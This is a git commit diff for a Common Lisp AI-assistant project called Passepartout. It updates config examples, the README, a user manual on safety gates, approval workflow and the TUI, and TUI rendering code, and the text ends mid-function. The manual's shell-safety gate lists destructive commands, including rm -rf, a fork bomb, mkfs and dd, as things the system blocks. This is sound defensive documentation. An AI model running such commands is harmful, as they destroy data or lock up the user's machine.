fix: backend-clear called with framebuffer instead of backend

Main loop was calling (backend-clear curr-fb) where curr-fb is a
framebuffer array. Changed to (backend-clear be) using the cl-tty
backend, which writes the terminal clear escape sequence.

.env.example

@@ -110,3 +110,13 @@ CONTEXT_MAX_TOKENS=16384
 # Soft daily cost cap in USD. Warning injected into system prompt when
 # approaching budget.
 COST_BUDGET_DAILY=1.00
+
+# v0.7.2: Privacy tag severity tiers. Format: @tag:block,@tag:warn,@tag:log
+# :block = filter content, :warn = log+allow, :log = silently record
+# Default: empty (no tags configured)
+#TAG_CATEGORIES=@personal:block,@financial:block,@draft:warn
+
+# v0.7.2: Self-build core file protection mode
+# When true, writes to core-*.org and core-*.lisp require HITL approval.
+# Default: false (unrestricted — use during development)
+SELF_BUILD_MODE=false

README.org

@@ -3,7 +3,7 @@
 #+FILETAGS: :passepartout:ai:assistant:
 
 #+HTML: <div style="display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 1em;">
-#+HTML: <img src="https://img.shields.io/badge/version-v0.5.0-blue?style=flat-square">
+#+HTML: <img src="https://img.shields.io/badge/version-v0.7.2-blue?style=flat-square">
 #+HTML: <img src="https://img.shields.io/badge/license-AGPLv3-green?style=flat-square">
 #+HTML: <img src="https://img.shields.io/badge/Lisp-Common%20Lisp-forestgreen?style=flat-square">
 #+HTML: <img src="https://img.shields.io/badge/docs-Org--mode-darkgreen?style=flat-square">
@@ -116,10 +116,15 @@ Features marked =Stable= ship in the current release. Features marked =Planned=
 | Shell sandbox (bwrap)               | Stable | v0.4.3 | Bubblewrap namespace isolation, network/IPC lockdown   |
 | Shell severity classification        | Stable | v0.4.3 | catastrophic→dangerous→moderate→harmless tier system   |
 | Token economics + cost tracking   | Stable   | v0.5.0  | Per-session cost counter, prompt caching, budget enforcement         |
-| Priority-queue signal processing  | Planned  | v0.6.0  | Preempts background for user interactions                            |
-| MVCC memory concurrency           | Planned  | v0.6.1  | Concurrent reads/writes on Merkle tree                               |
-| Structured output enforcement     | Planned  | v0.6.2  | Plist validation with retry and feedback                             |
-| Streaming responses               | Planned  | v0.6.3  | Live output in TUI, interrupt-and-redirect                           |
+| Time awareness                    | Stable   | v0.6.0  | Symbolic-time-memory + sensor-time skills, ISO timestamps in prompts |
+| TUI readline/Ctrl bindings        | Stable   | v0.7.0  | Ctrl+U/W/A/E/L/D, Ctrl+X+E editor, Ctrl+C interrupt cascade         |
+| TUI Unicode width                 | Stable   | v0.7.0  | char-width: ASCII/CJK/emoji/combining marks, pure Lisp               |
+| TUI scroll notification           | Stable   | v0.7.0  | :scroll-notify flag, new-message alert when scrolled up              |
+| TUI deeper autocomplete           | Stable   | v0.7.0  | @ file paths, /theme subcommand, /focus directories                  |
+| Streaming responses               | Stable   | v0.7.2  | SSE streaming, live output in TUI, interrupt-and-redirect            |
+| TUI markdown rendering            | Stable   | v0.7.2  | Bold/italic/inline code styled via Croatoan attributes               |
+| Priority-queue signal processing  | Planned  | v0.7.2  | Preempts background for user interactions                            |
+| Markdown rendering (full)         | Planned  | v0.7.2  | Code blocks, tables, blockquotes, hyperlinks                         |
 | MCP-native tool ecosystem         | Planned  | v0.7.0  | 50+ tools from the MCP ecosystem                                     |
 | Voice gateway                     | Planned  | v0.7.3  | Speech-to-text + text-to-speech via Whisper / ElevenLabs             |
 | Task planning (tree DAG)          | Planned  | v0.8.0  | Org headline task trees, branch pruning                              |

docs/.#ROADMAP.org

@@ -0,0 +1 @@
+user@amr.1407003:1778162380

docs/USER_MANUAL.org

@@ -24,11 +24,11 @@ This will:
 If you already have Emacs installed, the installer skips it and uses your existing installation.
 
 * Configuration
-The system is configured via a `.env` file in the project root. Essential variables include:
+The system is configured via a ~.env~ file in the project root. Essential variables include:
 
-- `OPENROUTER_API_KEY`: Your LLM provider key.
-- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`).
-- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`).
+- ~OPENROUTER_API_KEY~: Your LLM provider key.
+- ~PROVIDER_CASCADE~: The fallback order for LLM providers (e.g., ~openrouter,ollama,anthropic~).
+- ~MEMEX_DIR~: The absolute path to your knowledge base (defaults to ~/memex~).
 
 * Interacting with Passepartout
 Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
@@ -86,8 +86,286 @@ Each approval or denial teaches the Dispatcher — the rule counter in the statu
 * The Memex Structure
 Passepartout assumes a local folder structure representing your "Memex".
 - Core memories and identities are mapped to Org-mode files.
-- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.
-- The `Gardener` continuously repairs broken links and flags orphaned nodes.
+- The ~Scribe~ background worker distills chronological logs into structured Zettelkasten notes.
+- The ~Gardener~ continuously repairs broken links and flags orphaned nodes.
+
+* How Safety Works
+
+Passepartout enforces safety through ten deterministic gates. Every action the agent wants to take — reading a file, running a shell command, sending network traffic — passes through these gates before execution. Critically, all ten gates are pure Lisp functions: they cost zero LLM tokens to evaluate. Safety checking never touches your provider budget.
+
+** The Ten Safety Gates
+
+| Gate | What It Checks |
+|------+----------------|
+| Lisp syntax | Validates that any Lisp code is well-formed before evaluation |
+| Secret file paths | Blocks reads from known secret directories (~.ssh~, ~.env~, ~.aws~, etc.) |
+| Self-build core | Prevents modification of the agent's own source and build files |
+| Secret content | Scans text output for API keys, tokens, or credential patterns |
+| Vault secrets | Guards any secret stored in the encrypted vault |
+| Privacy tags | Respects ~@privacy:~ annotations on memory objects and files |
+| Privacy text leaks | Scans outgoing text for PII (emails, phone numbers, addresses) |
+| Shell safety | Blocks destructive commands (~rm -rf~, ~:(){:|:&};:~, ~mkfs~, ~dd~) |
+| Network exfiltration | Blocks outbound traffic carrying private data to unknown hosts |
+| High-impact actions | Catches system-level changes (package installs, service restarts, mount) |
+
+** Severity Tiers
+
+Each gate assigns a severity to the action it inspects:
+
+| Severity   | Behavior                                              |
+|------------+-------------------------------------------------------|
+| Catastrophic | Always blocked. No approval possible.                |
+| Dangerous    | Requires HITL approval. Generates a Flight Plan.    |
+| Moderate     | Allowed, but logged. The agent learns from the outcome. |
+| Harmless     | Always allowed. No logging overhead.                 |
+
+** What Happens When an Action Is Blocked
+
+When a gate blocks an action, the Dispatcher creates a Flight Plan — a structured record of what the agent wants to do, why it was blocked, and which gate triggered. The Flight Plan is presented to you for review. You can approve it (~/approve~), deny it (~/deny~), or ask the agent to clarify its intent (~/clarify~). Once you approve, the action executes immediately. Once you deny, the Dispatcher records the decision as a permanent rule and will never propose that action again.
+
+* Understanding Context and Focus
+
+Passepartout uses a foveal-peripheral context model, inspired by human vision. This is how the agent decides what to pay attention to in your Memex.
+
+** The Three Levels of Attention
+
+- ~/foveal/~ — What the agent reads deeply and reasons about right now. Anything you explicitly mention, plus the current focused project.
+- ~/peripheral/~ — What the agent knows exists (titles, summaries, metadata) but does not read in detail. Everything in scope.
+- ~/blind/~ — Outside scope. The agent cannot see or access it.
+
+** Focus Commands
+
+| Command             | Effect                                                  |
+|---------------------+---------------------------------------------------------|
+| ~/focus <project>~  | Set the agent's foveal attention to a project           |
+| ~/scope memex~      | Expand scope to everything in your Memex               |
+| ~/scope session~    | Narrow scope to just the current conversation           |
+| ~/scope project~    | Narrow scope to the focused project only               |
+| ~/unfocus~          | Clear the foveal focus; the agent sees everything at peripheral level |
+
+** The Focus Map
+
+The status bar displays a focus map — a compact representation of what the agent is "looking at." Projects in foveal view are highlighted; peripheral projects are dimmed. When you change focus, the map updates in real time so you always know the agent's current attention budget.
+
+* Skills and What They Do
+
+Skills are hot-reloadable modules that extend the agent's capabilities. Unlike core system files, a bug in a skill degrades the agent but does not kill it — skills can be repaired by the agent itself. Skills are organized into categories by function:
+
+** Core Pipeline
+The agent's cognitive loop: Perceive (consume input) → Reason (think with the LLM) → Act (execute tools). This is the central nervous system of the agent.
+
+** Security
+~Dispatcher~, ~Policy~, ~Permissions~, ~Validator~, ~Vault~. These skills enforce the safety gates, manage approval workflows, encrypt secrets, and verify that every action conforms to the rules you have set.
+
+** Channels
+~TUI~, ~CLI~, ~Telegram~, ~Signal~, ~Discord~, ~Slack~, ~Shell~. Each channel is a separate skill that handles I/O for a specific interface. All channels are equal citizens — the agent treats a message from Telegram identically to one typed in the TUI.
+
+** Programming
+~Lisp~, ~Org~, literate tools, ~REPL~, standards libraries. These skills allow the agent to write, evaluate, and reason about Lisp code, manage Org-mode documents, and tangle literate programs into runnable source.
+
+** Symbolic
+~Awareness~, ~Scope~, ~Events~, ~Config~, ~Memory~, ~Identity~, ~Time~. These skills manage the agent's internal state: what it knows about itself, what it remembers, how it configures its behavior, and how it tracks time and events.
+
+** Neuro
+~Provider~, ~Router~, ~Explorer~. These skills manage the LLM backends. The Provider skill abstracts each LLM API; the Router decides which provider to use based on cost, latency, and availability; the Explorer discovers new providers.
+
+** Embedding
+Backends for semantic search and native inference. These skills enable the agent to embed text, search your Memex by meaning rather than exact keyword, and run local inference without network calls.
+
+** Economics
+~Tokenizer~, ~Cost Tracker~, ~Token Economics~. These skills count tokens, estimate costs before making LLM calls, track spending across providers, and enforce budget limits.
+
+* The Tool System
+
+The agent has ten cognitive tools — discrete actions it can take to interact with your environment. Each tool maps to a specific capability.
+
+** Read-Only Tools
+
+| Tool              | What It Does                                |
+|-------------------+---------------------------------------------|
+| ~search-files~    | Search file contents with regex patterns    |
+| ~find-files~      | Find files by name using glob patterns      |
+| ~read-file~       | Read the contents of a file on disk         |
+| ~list-directory~  | List the contents of a directory            |
+| ~org-find-headline~ | Find a headline in an Org-mode file       |
+
+** Write Tools
+
+| Tool              | What It Does                                |
+|-------------------+---------------------------------------------|
+| ~write-file~      | Create or overwrite a file on disk          |
+| ~org-modify-file~ | Modify an Org-mode file structurally        |
+| ~run-shell~       | Execute a shell command                     |
+| ~eval-form~       | Evaluate a Lisp expression                  |
+| ~run-tests~       | Execute a test suite                        |
+
+** Auto-Approval
+
+Write tools are subject to safety-gate inspection. Read-only tools are auto-approved by default (though the agent still checks for secret-file reads). You can configure per-tool auto-approval in your ~.env~ file with the ~AUTO_APPROVE_TOOLS~ variable:
+
+#+begin_src bash
+# Auto-approve read-file and find-files (default)
+AUTO_APPROVE_TOOLS=read-file,find-files,list-directory,search-files
+#+end_src
+
+* Cost Tracking
+
+Every LLM call costs tokens, and tokens cost money. Passepartout tracks this transparently.
+
+** Token Budgets
+
+Set ~CONTEXT_MAX_TOKENS~ in your ~.env~ file to cap the total context window the agent may use per interaction:
+
+#+begin_src bash
+CONTEXT_MAX_TOKENS=128000
+#+end_src
+
+The agent will truncate older context rather than exceed this limit.
+
+** Per-Call Cost Tracking
+
+Before every LLM call, the Economics skill estimates the cost (prompt tokens + expected completion tokens) and checks it against your budget. After the call, it records actual usage. The status bar shows your session total.
+
+** The ~/cost~ Command
+
+Toggle cost display in the status bar with ~/cost~. When enabled, you'll see a running total like ~[$0.047]~ showing the estimated cost of the current session.
+
+** Per-Provider Pricing
+
+Different providers charge different rates. The Router skill is aware of this and will choose the cheapest viable provider for each call unless you pin a specific provider:
+
+#+begin_src bash
+# Pin to a specific provider
+PROVIDER_CASCADE=anthropic
+#+end_src
+
+** Prompt Prefix Caching
+
+Providers that support prefix caching (Claude via Anthropic, some OpenRouter models) automatically benefit from it. The agent reuses the system prompt prefix across calls, and the Economics skill tracks the cache-hit savings separately in the cost breakdown.
+
+* Session Control
+
+Passepartout maintains a session history with checkpointed memory snapshots. You can move backward and forward through your session state.
+
+** Undo and Redo
+
+| Command      | Effect                                                   |
+|--------------+----------------------------------------------------------|
+| ~/undo~      | Restore the memory to the state before your last action  |
+| ~/redo~      | Re-apply the last undone action                          |
+| ~/rewind <n>~ | Restore the memory to the state n actions ago           |
+
+** What Gets Restored
+
+A session rewind restores three things: file changes (files written or modified are reverted), memory objects (the agent's internal knowledge), and TODO states (the roadmap and task tracking). This means you can safely let the agent explore and experiment — if it goes down a wrong path, rewind and redirect.
+
+* Gate Trace Reference
+
+Below every agent message in the TUI, you'll see colored lines representing the safety-gate trace for that message. These show you exactly which gates ran on the agent's actions and what happened.
+
+| Symbol | Meaning                                                    |
+|--------+------------------------------------------------------------|
+| ~✓~    | Green — the gate passed. The action was allowed.            |
+| ~✗~    | Red — the gate blocked the action. The reason is shown.     |
+| ~→~    | Yellow — HITL approval required. A Flight Plan is pending.  |
+
+Press ~Ctrl+G~ to toggle gate trace visibility on and off. The most recent gate trace for your last interaction is always available via the ~/why~ command — type ~/why~ and the agent will display the full trace with explanations.
+
+* Tag System
+
+Passepartout uses an Org-mode tag system to annotate and control behavior. Tags are metadata appended to headlines and memory objects.
+
+** Severity Tags
+
+The ~@tag:severity~ tier controls how strictly the safety system handles a tagged item:
+
+| Tag              | Behavior                                                     |
+|------------------+--------------------------------------------------------------|
+| ~@tag:block~     | The tagged item is treated as catastrophic — always blocked  |
+| ~@tag:warn~      | The tagged item triggers HITL approval when accessed         |
+| ~@tag:log~       | Access is allowed but logged for audit                       |
+
+** Tag Categories
+
+Configure which tags trigger which behavior with the ~TAG_CATEGORIES~ environment variable:
+
+#+begin_src bash
+TAG_CATEGORIES=block:warn:log
+#+end_src
+
+** The ~/tags~ Command
+
+Type ~/tags~ to list all tags currently active in the agent's scope, along with their severity levels and the files or memory objects they apply to.
+
+* HITL Deep Dive
+
+When the Safety system blocks an action, a structured workflow begins. Understanding this workflow helps you make informed approval decisions quickly.
+
+** The Flight Plan Lifecycle
+
+1. /Trigger/: A gate rates an action Dangerous or Catastrophic, or a ~@tag:warn~ tag is encountered.
+2. /Plan/: The Dispatcher serializes the proposed action into a Flight Plan: what tool, what arguments, what file or command, which gate triggered.
+3. /Display/: The TUI shows a yellow prompt with the Flight Plan token (~HITL-ab12~).
+4. /Review/: Press ~Tab~ to expand the gate trace and see the full Flight Plan details.
+5. /Decision/: You type ~/approve HITL-ab12~ or ~/deny HITL-ab12~.
+6. /Execute or Discard/: Approved plans execute immediately. Denied plans are discarded.
+7. /Learn/: The Dispatcher increments its rule counter and records the decision as a permanent rule. If you denied an action, the Dispatcher will never propose it again.
+
+** Clarifying Questions
+
+If you are unsure why the agent wants to perform an action, you can ignore the Flight Plan prompt. After three retries without a decision, the agent escalates by injecting a ~/clarify~ message into the pipeline, asking the agent to explain its intent in plain language. You can then approve or deny with full context.
+
+** The Rule Counter
+
+The status bar shows ~[Rules: N]~ — the number of permanent rules the Dispatcher has learned from your decisions. Each approval or denial is a learning event. Over time, the Dispatcher builds a personalized safety profile that reflects your preferences: which actions you always approve, which you always deny, and which you want to review case by case.
+
+* TUI Keybinding Reference
+
+The TUI supports a rich set of keyboard shortcuts for efficient interaction.
+
+** Editing Keys
+
+| Combo     | Action                                    |
+|-----------+-------------------------------------------|
+| ~Ctrl+D~  | Quit the TUI                              |
+| ~Ctrl+U~  | Clear the current input line              |
+| ~Ctrl+W~  | Delete the word before the cursor         |
+| ~Ctrl+A~  | Move cursor to beginning of line (Home)   |
+| ~Ctrl+E~  | Move cursor to end of line               |
+| ~Ctrl+K~  | Delete from cursor to end of line         |
+| ~Ctrl+L~  | Redraw the screen                         |
+| ~Ctrl+X+E~ | Open the current input in your external editor (~$EDITOR~) |
+| ~Tab~     | Autocomplete commands, themes, and file paths |
+
+** Navigation and Control
+
+| Combo            | Action                                           |
+|------------------+--------------------------------------------------|
+| ~Ctrl+C~         | Interrupt (cascade: stop streaming → stop thinking → quit) |
+| ~Ctrl+F~         | Search through message history                   |
+| ~Ctrl+P~         | Open the command palette                         |
+| ~Ctrl+G~         | Toggle gate trace visibility                     |
+| ~Ctrl+X+B~       | Toggle the sidebar (focus map, memory browser)   |
+| ~Page Up~        | Scroll chat up by 10 lines                       |
+| ~Page Down~      | Scroll chat down by 10 lines                     |
+| ~Up Arrow~       | Previous input in command history                |
+| ~Down Arrow~     | Next input in command history                    |
+
+** The Status Bar
+
+The status bar at the bottom of the TUI shows the agent's current state at a glance. Each indicator has a specific meaning:
+
+| Indicator        | Meaning                                                            |
+|------------------+--------------------------------------------------------------------|
+| ~[Connected]~    | Green — daemon is reachable on port 9105. Gray — disconnected.     |
+| ~[Mode: TUI]~    | The current interaction mode (TUI, CLI, Telegram, etc.)            |
+| ~[Msg: 142]~     | Total messages in the current session                              |
+| ~[↑ 12]~         | Scroll indicator — you are scrolled up 12 lines from the bottom    |
+| ~[◉]~            | Activity spinner — spinning means the agent is working             |
+| ~[⟳]~            | Streaming indicator — shown while the agent is generating text     |
+| ~[$0.047]~       | Session cost (visible when ~/cost~ is toggled on)                  |
+| ~[Rules: 52]~    | Number of permanent HITL rules learned from your decisions         |
+| ~[prj:my-proj]~  | Current focused project name                                       |
 
 * Deployment
 
@@ -180,4 +458,4 @@ Restores from a backup file. Run ~passepartout doctor~ afterward to verify integ
 ** Memory fails to load on startup
 - Check ~/memory.snap~ exists and is valid S-expression format
 - Run ~passepartout doctor~ to diagnose memory integrity
-- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory
+- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory

lisp/channel-cli.lisp

@@ -2,7 +2,7 @@
 
 (defun channel-cli-input (text)
   "Processes raw text from the command line."
-  (inject-stimulus (list :type :EVENT 
+  (stimulus-inject (list :type :EVENT 
                          :payload (list :sensor :user-input :text text) 
                          :meta (list :source :CLI))))
 

lisp/channel-tui-state.lisp

@@ -1,5 +1,5 @@
 (defpackage :passepartout.channel-tui
-  (:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
+  (:use :cl :passepartout :usocket :bordeaux-threads)
   (:export :tui-main :st :add-msg :now :input-string
            :queue-event :drain-queue :init-state
            :view-status :view-chat :view-input :redraw
@@ -21,6 +21,7 @@
     :connected :green :disconnected :red :busy :magenta :idle :white
     ;; Gate trace
     :gate-passed :green :gate-blocked :red :gate-approval :yellow
+    :hitl :magenta
     ;; Tools (future use)
     :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
     ;; Display
@@ -29,7 +30,7 @@
     :rule-count :cyan :focus-map :yellow
     ;; UI
     :dim :white :highlight :cyan :accent :green)
-  "Color theme plist. 27 semantic keys → Croatoan color values.
+  "Color theme plist. 27 semantic keys → hex color strings.
 See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
 
 (defvar *tui-theme-presets*
@@ -100,8 +101,15 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
       key)))
 
 (defun theme-color (role)
-  "Returns the Croatoan color for a semantic role."
-  (or (getf *tui-theme* role) :white))
+  "Returns a hex color string for a semantic role, suitable for cl-tty."
+  (let ((val (or (getf *tui-theme* role) :white)))
+    (cond
+      ((stringp val) val)
+      (t (case val
+           (:green "#00FF00") (:red "#FF0000") (:cyan "#00FFFF")
+           (:yellow "#FFFF00") (:magenta "#FF00FF") (:blue "#0000FF")
+           (:white "#FFFFFF") (:black "#000000")
+           (t "#FFFFFF"))))))
 
 (defun st (key) (getf *state* key))
 (defun (setf st) (val key) (setf (getf *state* key) val))
@@ -114,6 +122,13 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
               :scroll-offset 0 :busy nil :cursor-pos 0
               :pending-ctrl-x nil
               :scroll-at-bottom t :scroll-notify nil
+              :streaming-text nil :url-buffer nil            ; v0.7.1
+              :collapsed-gates nil                          ; v0.7.2
+              :search-mode nil :search-query ""           ; v0.7.2
+              :search-matches nil :search-match-idx 0
+              :sidebar-visible nil                        ; v0.8.0
+              :expand-tool-calls nil                      ; v0.8.0
+              :mcp-count 0                                ; v0.8.0
               :dirty (list nil nil nil))))
 
 (defun now ()
@@ -143,8 +158,8 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
         (setf (st :input-buffer) (reverse (coerce new 'list)))
         (setf (st :cursor-pos) (1- pos))))))
 
-(defun add-msg (role content &key gate-trace)
-  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace) (st :messages))
+(defun add-msg (role content &key gate-trace panel)
+  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages))
   ;; v0.7.0: notify when scrolled up and new msg arrives
   (unless (st :scroll-at-bottom)
     (setf (st :scroll-notify) t))

lisp/channel-tui-view.lisp

@@ -1,61 +1,87 @@
 (in-package :passepartout.channel-tui)
 
-(defun view-status (win)
-  (clear win)
-  (box win 0 0)
-  (add-string win
-   (format nil " Passepartout  ~a  [~a]  msgs:~a  scroll:~a  Rules:~a~a"
-           (if (st :connected) "● Connected" "○ Disconnected")
-           (string-upcase (string (st :mode)))
-           (length (st :messages))
-           (if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
-           (or (st :rule-count) 0)
-           (if (st :busy) "  …thinking" ""))
-   :y 1 :x 1 :fgcolor (theme-color (if (st :connected) :connected :disconnected)))
-  ;; Second line: Focus map (left) + timestamp (right-aligned, v0.7.0)
-  (let ((focus-info (or (st :foveal-id) "")))
-    (when (and focus-info (> (length focus-info) 0))
-      (add-string win (format nil " [Focus: ~a]" focus-info)
-                  :y 2 :x 1 :fgcolor (theme-color :timestamp))))
-  (add-string win (format nil " ~a" (now))
-              :y 2 :x (max 1 (- (width win) 12))
-              :fgcolor (theme-color :timestamp))
-  (refresh win))
-
 (defun word-wrap (text width)
-  "Break text into lines at word boundaries, each <= width chars.
-Returns list of trimmed strings. Single words wider than width are split."
-  (let ((lines '())
-        (pos 0)
-        (len (length text)))
-    (loop while (< pos len)
-          do (let ((end (min len (+ pos width))))
-               (cond
-                 ((>= end len)
-                  (push (string-trim '(#\Space) (subseq text pos len)) lines)
-                  (setf pos len))
-                 ((char= (char text (1- end)) #\Space)
-                  (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                  (setf pos end))
-                 (t
-                  (let ((last-space (position #\Space text :from-end t :end (1+ end) :start pos)))
-                    (if (and last-space (> last-space pos))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos last-space)) lines)
-                          (setf pos (1+ last-space)))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                          (setf pos end))))))))
+  "Wrap TEXT to at most WIDTH columns. Splits on word boundaries.
+Returns a list of strings, one per line."
+  (let ((lines nil))
+    (loop while (> (length text) width)
+          do (let ((break (or (position #\Space text :end width :from-end t)
+                              width)))
+               (push (subseq text 0 break) lines)
+               (setf text (string-left-trim '(#\Space)
+                            (subseq text break)))))
+    (push text lines)
     (nreverse lines)))
 
-(defun view-chat (win h)
-  (clear win)
-  (box win 0 0)
-  (let* ((w (or (width win) 78))
-         (msgs (st :messages))
+(defun view-status (fb w)
+  (let* ((degraded (and (find-package :passepartout)
+                        (boundp (find-symbol "*SYSTEM-HEALTH*" :passepartout))
+                        (member (symbol-value (find-symbol "*SYSTEM-HEALTH*" :passepartout))
+                                '(:degraded :unhealthy))))
+         (bg (if degraded :bright-yellow nil)))
+    ;; Line 1: Connection, mode, msgs, scroll, rules, streaming/busy
+    (cl-tty.backend:draw-text fb 1 1
+     (format nil " Passepartout  ~a  [~a]  msgs:~a  scroll:~a  Rules:~a~a"
+            (if (st :connected) "● Connected" "○ Disconnected")
+            (string-upcase (string (st :mode)))
+            (length (st :messages))
+            (if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
+            (or (st :rule-count) 0)
+            (if (st :streaming-text) "  [streaming]"
+                (if (st :busy) "  …thinking" "")))
+     (theme-color (if (st :connected) :connected :disconnected)) bg)
+    ;; Line 2: Focus + Timestamp
+    (let ((focus-info (or (st :foveal-id) "")))
+      (when (and focus-info (> (length focus-info) 0))
+        (cl-tty.backend:draw-text fb 1 2 (format nil " [Focus: ~a]" focus-info)
+                                  (theme-color :timestamp) bg)))
+    (cl-tty.backend:draw-text fb (max 1 (- w 12)) 2 (format nil " ~a" (now))
+                              (theme-color :timestamp) bg)
+    ;; Line 3: Directory, LSP, MCP, commands hint (v0.8.0)
+    (let* ((cwd (or (uiop:getenv "PWD") (uiop:getcwd)))
+           (dir (subseq cwd (max 0 (- (length cwd) (- w 45)))))
+           (lsp-color (if (st :connected) :green :dim))
+           (mcp-count (or (st :mcp-count) 0))
+           (hint " Ctrl+P: commands  /help: help"))
+      (cl-tty.backend:draw-text fb 1 3 (format nil " ~a" dir) (theme-color :dim) bg)
+      (cl-tty.backend:draw-text fb (+ 2 (length dir)) 3 "●" (theme-color lsp-color) bg)
+      (cl-tty.backend:draw-text fb (+ 5 (length dir)) 3 (format nil " MCP:~d" mcp-count)
+                                (theme-color :dim) bg)
+      (cl-tty.backend:draw-text fb (- w (length hint) 2) 3 hint (theme-color :timestamp) bg))))
+
+;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
+(defun search-highlight (content query)
+  "Wrap occurrences of QUERY in CONTENT with **bold** markers."
+  (let ((lower-content (string-downcase content))
+        (lower-query (string-downcase query))
+        (result "") (pos 0))
+    (when (and query (> (length query) 0))
+      (loop
+        (let ((found (search lower-query lower-content :start2 pos)))
+          (unless found (return))
+          (setf result (concatenate 'string result
+                                   (subseq content pos found)
+                                   "**" (subseq content found (+ found (length query))) "**"))
+          (setf pos (+ found (length query)))))
+      (setf result (concatenate 'string result (subseq content pos)))
+      (if (string= result "") content result))))
+
+(defun view-chat (fb w h)
+  (let* ((msgs (st :messages))
          (total (length msgs))
          (max-lines (- h 2))
+         (is-search (st :search-mode))
          (y 1))
+    ;; v0.7.2: search mode header
+    (when is-search
+      (let* ((matches (st :search-matches))
+             (idx (st :search-match-idx))
+             (query (st :search-query))
+             (header (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit"
+                            (length matches) query (1+ idx) (length matches))))
+        (cl-tty.backend:draw-text fb 1 y header (theme-color :highlight) nil)
+        (incf y)
+        (decf max-lines)))
     ;; Count visible messages from end, accounting for word wrap
     (let* ((msg-count 0)
            (lines-remaining max-lines))
@@ -66,7 +92,10 @@ Returns list of trimmed strings. Single words wider than width are split."
                       (content (getf msg :content))
                       (time (or (getf msg :time) ""))
                       (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                      (line-text (format nil "~a [~a] ~a" prefix time content))
+                      (content-show (if is-search
+                                       (search-highlight content (st :search-query))
+                                       content))
+                      (line-text (format nil "~a [~a] ~a" prefix time content-show))
                       (wrapped (word-wrap line-text (- w 2)))
                       (nlines (length wrapped)))
                  (if (<= nlines lines-remaining)
@@ -83,31 +112,44 @@ Returns list of trimmed strings. Single words wider than width are split."
                         (time (or (getf msg :time) ""))
                         (color (theme-color (case role (:user :user) (:agent :agent) (:system :system) (t :agent))))
                         (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                        (line-text (format nil "~a [~a] ~a" prefix time content))
+                        (is-panel (getf msg :panel))
+                        (is-resolved (getf msg :panel-resolved))
+                        (content-show (if is-search
+                                         (search-highlight content (st :search-query))
+                                         content))
+                        (line-text (format nil "~a [~a] ~a" prefix time content-show))
                         (wrapped (word-wrap line-text (- w 2))))
+                   ;; HITL panel: render with colored border
+                   (when is-panel
+                     (setf color (if is-resolved
+                                    (theme-color :dim)
+                                    (theme-color :hitl))))
                    (dolist (line wrapped)
-                     (when (< y (1- h))
-                       (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
-                        (incf y))))))))
-  (refresh win))
+                      (when (< y (1- h))
+                        (cl-tty.backend:draw-text fb 1 y line color nil)
+                        (incf y)))
+                    ;; v0.7.2: gate trace below agent messages
+                    (let ((gate-trace (getf msg :gate-trace)))
+                      (when (and gate-trace (not (member i (st :collapsed-gates))))
+                        (dolist (entry (passepartout::gate-trace-lines gate-trace))
+                          (when (< y (1- h))
+                            (cl-tty.backend:draw-text fb 3 y (car entry)
+                                                      (or (getf (cdr entry) :fgcolor) :dim) nil)
+                            (incf y)))))))))))
 
-(defun view-input (win)
+(defun view-input (fb w)
   (let* ((text (input-string))
-         (w (or (width win) 78))
          (pos (or (st :cursor-pos) 0))
          (display-start (max 0 (- pos (1- w))))
          (visible (subseq text display-start (min (length text) (+ display-start w)))))
-    (clear win)
-    (add-string win (format nil "~a " visible) :y 0 :x 0 :n (1- w) :fgcolor (theme-color :input))
-    (setf (cursor-position win) (list 0 (min (- pos display-start) (1- w)))))
-  (refresh win))
+    (cl-tty.backend:draw-text fb 0 0 (format nil "~a " visible) (theme-color :input) nil)))
 
-(defun redraw (sw cw ch iw)
+(defun redraw (fb w h)
   (destructuring-bind (sd cd id) (st :dirty)
-    (when sd (view-status sw))
-    (when cd (view-chat cw ch))
-    (when id (view-input iw))
-     (setf (st :dirty) (list nil nil nil))))
+    (when sd (view-status fb w))
+    (when cd (view-chat fb w (- h 5)))
+    (when id (view-input fb w))
+    (setf (st :dirty) (list nil nil nil))))
 
 (in-package :passepartout)
 
@@ -133,6 +175,152 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
       ((<= #xFE00 code #xFE0F) 0)
       (t 1))))
 
+(in-package :passepartout)
+
+(defun parse-markdown-spans (text)
+  "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
+  (let ((results nil) (pos 0) (len (length text)))
+    (labels ((earliest (a b) (cond ((and a (or (null b) (< a b))) a) (b b))))
+      (loop
+        (when (>= pos len) (return))
+        (let* ((bold (search "**" text :start2 pos))
+               (code (search "`" text :start2 pos))
+               (italic (search "*" text :start2 pos))
+               (http (search "http://" text :start2 pos))
+               (https (search "https://" text :start2 pos))
+               (url-s (or https http)))
+          (flet ((pick (tag delim)
+                   (let ((end (search delim text :start2 (+ pos (length delim)))))
+                     (when end
+                       (push (cons (subseq text (+ pos (length delim)) end)
+                                   (case tag (:bold '(:bold t))
+                                        (:code '(:code t :bgcolor :dim))
+                                        (:underline '(:underline t))
+                                        (:url '(:url t))))
+                             results)
